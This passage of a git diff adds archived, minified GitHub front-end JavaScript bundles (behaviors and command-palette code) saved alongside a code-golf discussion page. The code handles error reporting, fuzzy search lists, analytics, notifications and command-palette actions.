0:V.content;if(!!H){if(A(M.error.stacktrace)){h=!0;return}d++;try{await fetch(H,{method:"post",body:JSON.stringify(M)})}catch{}}}s(b,"report");function v(M){return{type:M.name,value:M.message,stacktrace:q(M)}}s(v,"formatError");function L(M,O={}){return Object.assign({error:M,sanitizedUrl:(0,u.S)()||window.location.href,readyState:document.readyState,referrer:(0,T.wP)(),timeSinceLoad:Math.round(Date.now()-m),user:k()||void 0,turbo:(0,g.c)("TURBO")},O)}s(L,"errorContext");function q(M){return(0,x.Q)(M.stack||"").map(O=>({filename:O.file||"",function:String(O.methodName),lineno:(O.lineNumber||0).toString(),colno:(O.column||0).toString()}))}s(q,"stacktrace");const E=/(chrome|moz|safari)-extension:\/\//;function A(M){return M.some(O=>E.test(O.filename)||E.test(O.function))}s(A,"isExtensionError");function k(){var M,O;const V=(O=(M=document.head)==null?void 0:M.querySelector('meta[name="user-login"]'))==null?void 0:O.content;return V||`anonymous-${(0,C.b)()}`}s(k,"pageUser");let j=!1;window.addEventListener("pageshow",()=>j=!1),window.addEventListener("pagehide",()=>j=!0),document.addEventListener(T.QE.ERROR,M=>{b(L({type:"SoftNavError",value:M.detail,stacktrace:q(new Error)}))});function P(){return!j&&!h&&d<10&&(0,_.Gb)()&&!(0,c.Z)(document)}s(P,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",O=>{p(O.data.error)})},98670:($,D,f)=>{"use strict";f.d(D,{W:()=>c});function*T(C,_){for(const x of C){const u=_(x);u!=null&&(yield u)}}s(T,"filterMap");function c(C,_,x){return[...T(C,s(g=>{const h=_(g);return h!=null?[g,h]:null},"sortKey"))].sort((g,h)=>x(g[1],h[1])).map(([g])=>g)}s(c,"filterSort")},8089:($,D,f)=>{"use strict";f.d(D,{EW:()=>T,Qw:()=>C,qu:()=>x});function T(u,g){let h=_(u,g);if(h&&g.indexOf("/")===-1){const d=u.substring(u.lastIndexOf("/")+1);h+=_(d,g)}return h}s(T,"fuzzyScore");function c(u){const g=u.toLowerCase().split("");let h="";for(let d=0;d"),m=!0):m&&(p.push(""),m=!1),p.push(v))}u.innerHTML=p.join("")}else{const d=u.innerHTML.trim(),m=d.replace(/<\/?mark>/g,"");d!==m&&(u.innerHTML=m)}}s(C,"fuzzyHighlightElement");function _(u,g){let h=u;if(h===g)return 1;const d=h.length;let m=0,p=0;for(let q=0;q-1?j:Math.max(A,k);if(P===-1)return 0;m+=.1,h[P]===E&&(m+=.1),P===0&&(m+=.8,q===0&&(p=1)),h.charAt(P-1)===" "&&(m+=.8),h=h.substring(P+1,d)}const b=g.length,v=m/b;let L=(v*(b/d)+v)/2;return p&&L+.1<1&&(L+=.1),L}s(_,"stringScore");function x(u,g){return u.score>g.score?-1:u.scoreg.text?1:0}s(x,"compare")},99254:($,D,f)=>{"use strict";f.d(D,{Z:()=>d});var T=f(47142);const c=s((m,p,b)=>{if(!(0,T.CD)(m,p))return-1/0;const v=(0,T.Gs)(m,p);return v{m.innerHTML="";let v=0;for(const L of(0,T.m7)(p,b)){b.slice(v,L)!==""&&m.appendChild(document.createTextNode(b.slice(v,L))),v=L+1;const E=document.createElement("mark");E.textContent=b[L],m.appendChild(E)}m.appendChild(document.createTextNode(b.slice(v)))},"highlightElement"),_=new WeakMap,x=new WeakMap,u=new WeakMap,g=s(m=>{if(!u.has(m)&&m instanceof HTMLElement){const p=(m.getAttribute("data-value")||m.textContent||"").trim();return u.set(m,p),p}return u.get(m)||""},"getTextCache");class h extends HTMLElement{connectedCallback(){const p=this.querySelector("ul");if(!p)return;const b=new Set(p.querySelectorAll("li")),v=this.querySelector("input");v instanceof HTMLInputElement&&v.addEventListener("input",()=>{this.value=v.value});const L=new MutationObserver(E=>{let A=!1;for(const k of E)if(k.type==="childList"&&k.addedNodes.length){for(const j of k.addedNodes)if(j instanceof HTMLLIElement&&!b.has(j)){const P=g(j);A=A||(0,T.CD)(this.value,P),b.add(j)}}A&&this.sort()});L.observe(p,{childList:!0});const q={handler:L,items:b,lazyItems:new Map,timer:null};x.set(this,q)}disconnectedCallback(){const p=x.get(this);p&&(p.handler.disconnect(),x.delete(this))}addLazyItems(p,b){const v=x.get(this);if(!v)return;const{lazyItems:L}=v,{value:q}=this;let E=!1;for(const A of p)L.set(A,b),E=E||Boolean(q)&&(0,T.CD)(q,A);E&&this.sort()}sort(){const p=_.get(this);p&&(p.aborted=!0);const b={aborted:!1};_.set(this,b);const{minScore:v,markSelector:L,maxMatches:q,value:E}=this,A=x.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:E})))return;const{items:k,lazyItems:j}=A,P=this.hasAttribute("mark-selector"),M=this.querySelector("ul");if(!M)return;const O=[];if(E){for(const V of k){const H=g(V),N=c(E,H,v);N!==-1/0&&O.push({item:V,score:N})}for(const[V,H]of j){const N=c(E,V,v);N!==-1/0&&O.push({text:V,render:H,score:N})}O.sort((V,H)=>H.score-V.score).splice(q)}else{let V=O.length;for(const H of k){if(V>=q)break;O.push({item:H,score:1}),V+=1}for(const[H,N]of j){if(V>=q)break;O.push({text:H,render:N,score:1}),V+=1}}requestAnimationFrame(()=>{if(b.aborted)return;const V=M.querySelector('input[type="radio"]:checked');M.innerHTML="";let H=0;const N=s(()=>{if(b.aborted)return;const K=Math.min(O.length,H+100),W=document.createDocumentFragment();for(let te=H;te0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:O.length}))}},"nextBatch");N()})}get value(){return this.getAttribute("value")||""}set value(p){this.setAttribute("value",p)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(p){p?this.setAttribute("mark-selector",p):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(p){Number.isNaN(p)||this.setAttribute("min-score",String(p))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(p){Number.isNaN(p)||this.setAttribute("max-matches",String(p))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(p,b,v){if(b===v)return;const L=x.get(this);!L||(L.timer&&window.clearTimeout(L.timer),L.timer=window.setTimeout(()=>this.sort(),100))}}s(h,"FuzzyListElement");const d=h;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=h,window.customElements.define("fuzzy-list",h))},30481:($,D,f)=>{"use strict";f.d(D,{Y:()=>g,q:()=>h});var T=f(88149),c=f(86058);const C="dimension_";let _;const x=["utm_source","utm_medium","utm_campaign","utm_term","utm_content","scid"];try{const d=(0,T.n)("octolytics");delete d.baseContext,_=new c.R(d)}catch{}function u(d){const m=(0,T.n)("octolytics").baseContext||{};if(m){delete m.app_id,delete m.event_url,delete m.host;for(const v in m)v.startsWith(C)&&(m[v.replace(C,"")]=m[v],delete m[v])}const p=document.querySelector("meta[name=visitor-payload]");if(p){const v=JSON.parse(atob(p.content));Object.assign(m,v)}const b=new URLSearchParams(window.location.search);for(const[v,L]of b)x.includes(v.toLowerCase())&&(m[v]=L);return Object.assign(m,d)}s(u,"extendBaseContext");function g(d){_==null||_.sendPageView(u(d))}s(g,"sendPageView");function h(d,m){var p,b;const v=(b=(p=document.head)==null?void 0:p.querySelector('meta[name="current-catalog-service"]'))==null?void 0:b.content,L=v?{service:v}:{};for(const[q,E]of Object.entries(m))E!=null&&(L[q]=`${E}`);_==null||_.sendEvent(d||"unknown",u(L))}s(h,"sendEvent")},53692:($,D,f)=>{"use strict";f.d(D,{$S:()=>c,Fk:()=>C,sz:()=>_});var T=f(45922);function c(x,u,g){const h={hydroEventPayload:x,hydroEventHmac:u,visitorPayload:"",visitorHmac:"",hydroClientContext:g},d=document.querySelector("meta[name=visitor-payload]");d instanceof HTMLMetaElement&&(h.visitorPayload=d.content);const m=document.querySelector("meta[name=visitor-hmac]")||"";m instanceof HTMLMetaElement&&(h.visitorHmac=m.content),(0,T.b)(h,!0)}s(c,"sendData");function C(x){const u=x.getAttribute("data-hydro-view")||"",g=x.getAttribute("data-hydro-view-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(C,"trackView");function _(x){const u=x.getAttribute("data-hydro-click-payload")||"",g=x.getAttribute("data-hydro-click-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(_,"sendHydroEvent")},51244:($,D,f)=>{"use strict";f.d(D,{vt:()=>A,WF:()=>E,DV:()=>q,jW:()=>M,Nc:()=>p,$t:()=>C});const T={frequency:.6,recency:.4};function c(H,N){return H.sort((K,W)=>N(K)-N(W))}s(c,"sortBy");function C(H){const N=x(H),K=u(H);return function(W){return _(N.get(W)||0,K.get(W)||0)}}s(C,"scorer");function _(H,N){return H*T.frequency+N*T.recency}s(_,"score");function x(H){const N=[...Object.values(H)].reduce((K,W)=>K+W.visitCount,0);return new Map(Object.keys(H).map(K=>[K,H[K].visitCount/N]))}s(x,"frequencyMap");function u(H){const N=c([...Object.keys(H)],W=>H[W].lastVisitedAt),K=N.length;return new Map(N.map((W,U)=>[W,(U+1)/K]))}s(u,"recencyMap");const g=/^\/orgs\/([a-z0-9-]+)\/teams\/([\w-]+)/,h=[/^\/([^/]+)\/([^/]+)\/?$/,/^\/([^/]+)\/([^/]+)\/blob/,/^\/([^/]+)\/([^/]+)\/tree/,/^\/([^/]+)\/([^/]+)\/issues/,/^\/([^/]+)\/([^/]+)\/pulls?/,/^\/([^/]+)\/([^/]+)\/pulse/],d=[["organization",/^\/orgs\/([a-z0-9-]+)\/projects\/([0-9-]+)/],["repository",/^\/([^/]+)\/([^/]+)\/projects\/([0-9-]+)/]],m=100;function p(H){const N=H.match(g);if(N){v(q(N[1],N[2]));return}let K;for(let U=0,te=d.length;UK(te)-K(U)).slice(0,m/2);return Object.fromEntries(W.map(U=>[U,H[U]]))}s(b,"limitedPageViews");function v(H){const N=M(),K=L(),W=N[H]||{lastVisitedAt:K,visitCount:0};W.visitCount+=1,W.lastVisitedAt=K,N[H]=W,P(b(N))}s(v,"logPageViewByKey");function L(){return Math.floor(Date.now()/1e3)}s(L,"currentEpochTimeInSeconds");function q(H,N){return`team:${H}/${N}`}s(q,"buildTeamKey");function E(H,N){return`repository:${H}/${N}`}s(E,"buildRepositoryKey");function A(H,N){return`project:${H}/${N}`}s(A,"buildProjectKey");const k=/^(team|repository|project):[^/]+\/[^/]+(\/([^/]+))?$/,j="jump_to:page_views";function P(H){O(j,JSON.stringify(H))}s(P,"setPageViewsMap");function M(){const H=V(j);if(!H)return{};let N;try{N=JSON.parse(H)}catch{return P({}),{}}const K={};for(const W in N)W.match(k)&&(K[W]=N[W]);return K}s(M,"getPageViewsMap");function O(H,N){try{window.localStorage.setItem(H,N)}catch{}}s(O,"setItem");function V(H){try{return window.localStorage.getItem(H)}catch{return null}}s(V,"getItem")},11190:($,D,f)=>{"use strict";f.d(D,{I:()=>x,n:()=>_});var T=f(24216);const c=["notification_referrer_id","notifications_before","notifications_after","notifications_query"],C="notification_shelf";function _(d,m=null){return d.has("notification_referrer_id")?(u(d,m),g(d)):null}s(_,"storeAndStripShelfParams");function x(d=null){const m=h(d);if(!m)return(0,T.cl)(C),null;try{const p=(0,T.rV)(C);if(!p)return null;const b=JSON.parse(p);if(!b||!b.pathname)throw new Error("Must have a pathname");if(b.pathname!==m)throw new Error("Stored pathname does not match current pathname.");const v={};for(const L of c)v[L]=b[L];return v}catch{return(0,T.cl)(C),null}}s(x,"getStoredShelfParamsForCurrentPage");function u(d,m){const p=h(m);if(!p)return;const b={pathname:p};for(const v of c){const L=d.get(v);L&&(b[v]=L)}(0,T.LS)(C,JSON.stringify(b))}s(u,"storeShelfParams");function g(d){for(const m of c)d.delete(m);return d}s(g,"deleteShelfParams");function h(d){d=d||window.location.pathname;const m=/^(\/[^/]+\/[^/]+\/pull\/[^/]+)/,p=d.match(m);return p?p[0]:null}s(h,"getCurrentPullRequestPathname")},32904:($,D,f)=>{"use strict";f.d(D,{a:()=>T});function T(x,u){const g=x.closest("[data-notification-id]");u.hasAttribute("data-status")&&c(g,u.getAttribute("data-status")),u.hasAttribute("data-subscription-status")&&C(g,u.getAttribute("data-subscription-status")),u.hasAttribute("data-starred-status")&&_(g,u.getAttribute("data-starred-status"))}s(T,"updateNotificationStates");function c(x,u){x.classList.toggle("notification-archived",u==="archived"),x.classList.toggle("notification-unread",u==="unread"),x.classList.toggle("notification-read",u==="read")}s(c,"toggleNotificationStatus");function C(x,u){x.classList.toggle("notification-unsubscribed",u==="unsubscribed")}s(C,"toggleNotificationSubscriptionStatus");function _(x,u){x.classList.toggle("notification-starred",u==="starred")}s(_,"toggleNotificationStarredStatus")},19218:($,D,f)=>{"use strict";f.d(D,{v:()=>T});function T(c,C){C.appendChild(c.extractContents()),c.insertNode(C)}s(T,"surroundContents")},25331:($,D,f)=>{"use strict";f.d(D,{e:()=>T});function T(c){const C=c||window.location,_=document.head&&document.head.querySelector("meta[name=session-resume-id]");return _ instanceof HTMLMetaElement&&_.content||C.pathname}s(T,"getPageID")},82841:($,D,f)=>{"use strict";f.d(D,{Z:()=>m});var T=f(12737),c=f(29719),C=f(65935),_=f(5642);let x=!1;function u(p){const b=new URL(p,window.location.origin),v=new URLSearchParams(b.search.slice(1));return v.set("webauthn-support",(0,_.T)()),b.search=v.toString(),b.toString()}s(u,"urlWithParams");async function g(){const p=document.querySelector("link[rel=sudo-modal]"),b=document.querySelector(".js-sudo-prompt");if(b instanceof HTMLTemplateElement)return b;if(p){const v=await(0,c.a)(document,u(p.href));return document.body.appendChild(v),document.querySelector(".js-sudo-prompt")}else throw new Error("couldn't load sudo prompt")}s(g,"loadPromptTemplate");let h=!1;async function d(){if(x)return!1;x=!0,h=!1;const b=(await g()).content.cloneNode(!0),v=await(0,T.W)({content:b});return await new Promise(L=>{v.addEventListener("dialog:remove",function(){x=!1,L()},{once:!0})}),h}s(d,"sudoPrompt"),(0,C.AC)(".js-sudo-form",async function(p,b){try{await b.text()}catch(v){if(!v.response)throw v;let L;switch(v.response.status){case 401:L="Incorrect password.";break;case 429:L="Too many password attempts. Please wait and try again later.";break;default:L="Failed to receive a response. Please try again later."}p.querySelector(".js-sudo-error").textContent=L,p.querySelector(".js-sudo-error").hidden=!1,p.querySelector(".js-sudo-password").value="";return}h=!0,p.closest("details").removeAttribute("open")});async function m(){const p=await fetch("/sessions/in_sudo",{headers:{accept:"application/json","X-Requested-With":"XMLHttpRequest"}});return p.ok&&await p.text()==="true"?!0:d()}s(m,"triggerSudoPrompt")},40764:($,D,f)=>{"use strict";f.d(D,{Om:()=>_,lp:()=>c,rq:()=>T,t4:()=>C,yb:()=>u});function T(g){const h="\u200D",d=g.split(h);let m=0;for(const p of d)m+=Array.from(p.split(/[\ufe00-\ufe0f]/).join("")).length;return m/d.length}s(T,"getUtf8StringLength");function c(g,h,d){let m=g.value.substring(0,g.selectionEnd||0),p=g.value.substring(g.selectionEnd||0);return m=m.replace(h,d),p=p.replace(h,d),x(g,m+p,m.length),d}s(c,"replaceText");function C(g,h,d){if(g.selectionStart===null||g.selectionEnd===null)return c(g,h,d);const m=g.value.substring(0,g.selectionStart),p=g.value.substring(g.selectionEnd);return x(g,m+d+p,m.length),d}s(C,"replaceSelection");function _(g,h,d={}){const m=g.selectionEnd||0,p=g.value.substring(0,m),b=g.value.substring(m),v=g.value===""||p.match(/\n$/)?"":` +`,L=d.appendNewline?` +`:"",q=v+h+L;g.value=p+q+b;const E=m+q.length;return g.selectionStart=E,g.selectionEnd=E,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),g.focus(),q}s(_,"insertText");function x(g,h,d){g.value=h,g.selectionStart=d,g.selectionEnd=d,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1}))}s(x,"setTextareaValueAndCursor");function u(g,h){const d=[...g],m=new TextEncoder,p=new Uint8Array(4);for(let b=0;b=h))break}return h}s(u,"GetCharIndexFromBytePosition")},66899:($,D,f)=>{"use strict";f.d(D,{dY:()=>h,iU:()=>g,oq:()=>u});const T=new WeakMap;function c(d){const m=T.get(d);!m||(m.timer!=null&&clearTimeout(m.timer),m.timer=window.setTimeout(()=>{m.timer!=null&&(m.timer=null),m.inputed=!1,m.listener.call(null,d)},m.wait))}s(c,"schedule");function C(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!0,p.timer!=null&&clearTimeout(p.timer))}s(C,"onKeydownInput");function _(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!1,p.inputed&&c(m))}s(_,"onKeyupInput");function x(d){const m=d.currentTarget,p=T.get(m);!p||(p.inputed=!0,p.keypressed||c(m))}s(x,"onInputInput");function u(d,m,p={wait:null}){T.set(d,{keypressed:!1,inputed:!1,timer:void 0,listener:m,wait:p.wait!=null?p.wait:100}),d.addEventListener("keydown",C),d.addEventListener("keyup",_),d.addEventListener("input",x)}s(u,"addThrottledInputEventListener");function g(d,m){d.removeEventListener("keydown",C),d.removeEventListener("keyup",_),d.removeEventListener("input",x);const p=T.get(d);p&&(p.timer!=null&&p.listener===m&&clearTimeout(p.timer),T.delete(d))}s(g,"removeThrottledInputEventListener");function h(d){const m=T.get(d);m&&m.listener.call(null,d)}s(h,"dispatchThrottledInputEvent")},5878:($,D,f)=>{"use strict";f.d(D,{Z:()=>c});function T(C){return C.offsetWidth<=0&&C.offsetHeight<=0}s(T,"hidden");function c(C){return!T(C)}s(c,"visible")},5642:($,D,f)=>{"use strict";f.d(D,{T:()=>c,k:()=>C});var T=f(70112);function c(){return(0,T.Zh)()?"supported":"unsupported"}s(c,"webauthnSupportLevel");async function C(){var _;return await((_=window.PublicKeyCredential)==null?void 0:_.isUserVerifyingPlatformAuthenticatorAvailable())?"supported":"unsupported"}s(C,"iuvpaaSupportLevel")}},$=>{var D=s(T=>$($.s=T),"__webpack_exec__");$.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537","app_assets_modules_github_behaviors_pjax_ts","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef","app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],()=>D(56851));var f=$.O()}]);})(); + +//# sourceMappingURL=behaviors-77f99b7e6910.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js new file mode 100644 index 0000000..09e09d2 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var vt=Object.defineProperty;var n=(S,C)=>vt(S,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["command-palette"],{86761:(S,C,a)=>{var i=a(90420),b=Object.defineProperty,v=Object.getOwnPropertyDescriptor,g=n((t,e,s,o)=>{for(var r=o>1?void 0:o?v(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&b(e,s,r),r},"__decorateClass");const m="*";let p=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=""}active(t,e){return this.scopeTypeMatch(t.type)&&this.modeMatch(e)}scopeTypeMatch(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t):!0}modeMatch(t){return this.char===m||this.char===t}character(){return this.char===m?"":this.char}},"CommandPaletteModeElement");g([i.Lj],p.prototype,"char",2),g([i.Lj],p.prototype,"placeholder",2),g([i.Lj],p.prototype,"scopeTypes",2),p=g([i.Ih],p);var d=Object.defineProperty,h=Object.getOwnPropertyDescriptor,u=n((t,e,s,o)=>{for(var r=o>1?void 0:o?h(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&d(e,s,r),r},"command_palette_tip_element_decorateClass");const f="*",E="";let _=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=E,this.mode=f,this.matchMode=E,this.value=f,this.onEmpty=!1,this.onError=!1}connectedCallback(){this.hidden=!0}available(t,e=!1,s=!1){return this.valueMatch(t.text)&&this.scopeTypeMatch(t.scope.type)&&this.modeMatch(t.mode)&&this.showOnEmpty(e)&&this.showOnError(s)}toggle(t,e=!1,s=!1){this.hidden=!this.available(t,e,s)}valueMatch(t){return this.value===f||this.value===t}scopeTypeMatch(t){return this.scopeTypes!==E&&(this.scopeTypes===f||JSON.parse(this.scopeTypes).includes(t))}modeMatch(t){if(this.matchMode===E)return this.mode===f||this.mode===t;{const e=new RegExp(this.matchMode);return t.match(e)!==null}}showOnEmpty(t){return this.onEmpty?t:!0}showOnError(t){return this.onError?t:!0}},"CommandPaletteTipElement");u([i.Lj],_.prototype,"scopeTypes",2),u([i.Lj],_.prototype,"mode",2),u([i.Lj],_.prototype,"matchMode",2),u([i.Lj],_.prototype,"value",2),u([i.Lj],_.prototype,"onEmpty",2),u([i.Lj],_.prototype,"onError",2),_=u([i.Ih],_);var G=a(47779),$e=Object.defineProperty,Fe=Object.getOwnPropertyDescriptor,R=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Fe(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&$e(e,s,r),r},"command_palette_token_element_decorateClass");let k=n(class extends HTMLElement{constructor(){super(...arguments);this.type="",this.id="",this.text="",this.value=""}},"CommandPaletteTokenElement");R([i.Lj],k.prototype,"type",2),R([i.Lj],k.prototype,"id",2),R([i.Lj],k.prototype,"text",2),R([i.Lj],k.prototype,"value",2),k=R([i.Ih],k);var gt=a(39200),He=a(23207),bt=a(2846),Y=a(80829),ze=a(4220),z=a(78584);class U extends z.j{fetch(e,s){return this.fetchSrc(e)}enabledFor(e){return this.modeMatch(e)&&this.scopeMatch(e)}clearCache(){}scopeMatch(e){return this.scopeTypes.length===0||this.scopeTypes.includes(e.scope.type)}modeMatch(e){return this.modes.includes(e.mode)||this.hasWildCard}async fetchSrc(e,s=""){var o;if(!this.src)throw new Error("No src defined");const r=new URL(this.src,window.location.origin),c=e.params();s&&c.set("mode",s),r.search=c.toString();const l=await fetch(r.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(l.ok){const L=await l.json();return{results:((o=L.results)==null?void 0:o.map(w=>ze.g.build(w)))||[],octicons:L.octicons}}else return{error:!0,results:[]}}}n(U,"RemoteProvider");class H extends U{constructor(){super(...arguments);this.maxItems=1e3,this.scopedItems={},this.cachedOcticons={}}clearCache(){super.clearCache(),this.scopedItems={},this.cachedOcticons={}}get debounce(){return 0}async prefetch(e){if(!this.scopeMatch(e)||this.scopedItems[e.scope.id])return;const s=new Y.A("",e.mode,{subjectId:e.subjectId,subjectType:e.subjectType,returnTo:e.returnTo,scope:e.scope}),o=await this.fetchSrc(s,e.mode);this.octicons=o.octicons||[];const r=o.results||[];this.scopedItems[e.scope.id]=r,this.cachedOcticons[e.scope.id]=this.octicons}async fetch(e,s){const o=this.scopedItems[e.scope.id]||[],r=this.cachedOcticons[e.scope.id]||[];return{results:this.fuzzyFilter(o,e).slice(0,this.maxItems),octicons:r}}}n(H,"PrefetchedProvider");class ee extends H{enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}}n(ee,"CommandsProvider");var Ue=a(81072),V=a(98810);class te extends H{async fetchSrc(e){if(!this.src)throw new Error("No src provided");const s=new URL(this.src,window.location.origin);s.search=e.params().toString();const r=await(await fetch(s.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json();if(!r.results)return;const c=r.results[0];if(c.base_file_path){const l=c.base_file_path,L=c.paths;r.results=L.map(w=>V.s.from({title:w,path:`${l}/${w}`,icon:"file-color-fg-muted",group:"files"}))}else c.action&&c.action.type==="access_policy"?r.results=[new Ue.i(c)]:r.results=[];return r}async fetch(e,s=!1){const o=e.text.match(/(.+):(\d*)\s*$/);return o?this.fetchWithLineNumbers(e,o):super.fetch(e,s)}async fetchWithLineNumbers(e,s){const o=s[1],r=s[2],c=new Y.A(o,e.mode,{scope:e.scope}),l=[],L=(await super.fetch(c,!1)).results;for(const w of L)w instanceof V.s&&l.push(this.convert(w,r));return{results:l}}convert(e,s){return s===""||!(e instanceof V.s)||(e.title=`${e.title}:${s}`,e.action.path=`${e.action.path}#L${s}`),e}}n(te,"FilesProvider");class se extends z.j{enabledFor(e){return!0}clearCache(){}get hasCommands(){return!1}get debounce(){return 0}async fetch(e,s=!1){return e.mode!=="?"&&!s?{results:[]}:{results:Array.from(this.element.querySelectorAll("command-palette-help")).filter(c=>c.show(e)).map((c,l)=>c.toItem(l))}}}n(se,"HelpProvider");var Ve=a(31411);class oe extends z.j{enabledFor(e){return!(e.isBlank()||e.mode==="?"||e.mode===">")}clearCache(){}get hasCommands(){return!1}async fetch(e,s=!1){return{results:[Ve.K.create(e)]}}}n(oe,"SearchLinksProvider");class q{static create(e){const s=this.providers[e.type];if(!s)throw new Error(`Unknown provider type: ${e.type}`);return new s(e)}}n(q,"ServerDefinedProviderFactory"),q.providers={remote:U,prefetched:H,commands:ee,files:te,help:se,"search-links":oe};var qe=Object.defineProperty,We=Object.getOwnPropertyDescriptor,j=n((t,e,s,o)=>{for(var r=o>1?void 0:o?We(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&qe(e,s,r),r},"server_defined_provider_element_decorateClass");let T=n(class extends He.b{constructor(){super(...arguments);this._wildcard="*"}get debounce(){return parseInt(this.fetchDebounce,10)}get hasCommands(){return this.supportsCommands}get hasWildCard(){return this.modes.includes(this._wildcard)}get modes(){return this.supportedModes===""&&(this._modes=[""]),this._modes||(this._modes=JSON.parse(this.supportedModes)),this._modes}get scopeTypes(){return this.supportedScopeTypes===""?[]:(this._scopeTypes||(this._scopeTypes=JSON.parse(this.supportedScopeTypes)),this._scopeTypes)}connectedCallback(){this.provider=q.create(this)}},"ServerDefinedProviderElement");j([i.Lj],T.prototype,"type",2),j([i.Lj],T.prototype,"supportedModes",2),j([i.Lj],T.prototype,"fetchDebounce",2),j([i.Lj],T.prototype,"supportedScopeTypes",2),j([i.Lj],T.prototype,"src",2),j([i.Lj],T.prototype,"supportsCommands",2),T=j([i.Ih],T);var Ne=a(8665),Ze=Object.defineProperty,Ke=Object.getOwnPropertyDescriptor,B=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Ke(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&Ze(e,s,r),r},"command_palette_help_element_decorateClass");let D=n(class extends HTMLElement{connectedCallback(){this.hidden=!0}show(t){return this.isEnabledScopeType(t)}isEnabledScopeType(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t.scope.type):!0}toItem(t){const e={group:this.group,title:this.titleElement.innerHTML,index:t};return this.prefix&&(e.prefix=this.prefix),this.hintElement.textContent&&(e.persistentHint=this.hintElement.innerHTML),Ne.B.from(e)}},"CommandPaletteHelpElement");B([i.Lj],D.prototype,"group",2),B([i.Lj],D.prototype,"prefix",2),B([i.Lj],D.prototype,"scopeTypes",2),B([i.fA],D.prototype,"titleElement",2),B([i.fA],D.prototype,"hintElement",2),D=B([i.Ih],D);var Ct=a(68313),Et=a(96753),St=a(28760),_t=a(3991),Je=a(77417);class y{constructor(){this.iconType="octicon",this.group="commands",this.priority=0,this.dismissAfterRun=!0}static item(e={}){return new Je.U(new this,e)}run(e){new Error("Not implemented")}isApplicable(e){return!0}}n(y,"MainWindowCommand");class W extends y{constructor(){super(...arguments);this.group="global_commands"}}n(W,"MainWindowGlobalCommand");class ne extends y{constructor(){super(...arguments);this.title="Delete discussion\u2026",this.icon="trash-color-fg-muted"}get deleteButton(){return document.querySelector("button#dialog-show-delete-discussion")}get dialogElement(){return document.querySelector("#delete-discussion")}isApplicable(){return this.deleteButton!=null}run(){const e=this.deleteButton;if(e){e.click(),setTimeout(()=>{var s,o;(o=(s=this.dialogElement)==null?void 0:s.querySelector('button[type="submit"]'))==null||o.focus()},0);return}}}n(ne,"DeleteDiscussion");class re extends y{constructor(){super(...arguments);this.title="Edit discussion body",this.icon="pencil-color-fg-muted"}get editButton(){return document.querySelector(".js-discussions-comment-edit-button")}isApplicable(){return this.editButton!=null}run(){var e;(e=this.editButton)==null||e.click()}}n(re,"EditDiscussion");class ie extends y{constructor(){super(...arguments);this.title="Transfer discussion\u2026",this.icon="arrow-right-color-fg-muted"}fetchDetails(){return document.querySelector("details.js-transfer-discussion-details")}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s==null?void 0:s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(ie,"TransferDiscussion");const Qe=[ne,ie,re];var M=a(64992),ae=a(33241),ce=a(88513);class x extends 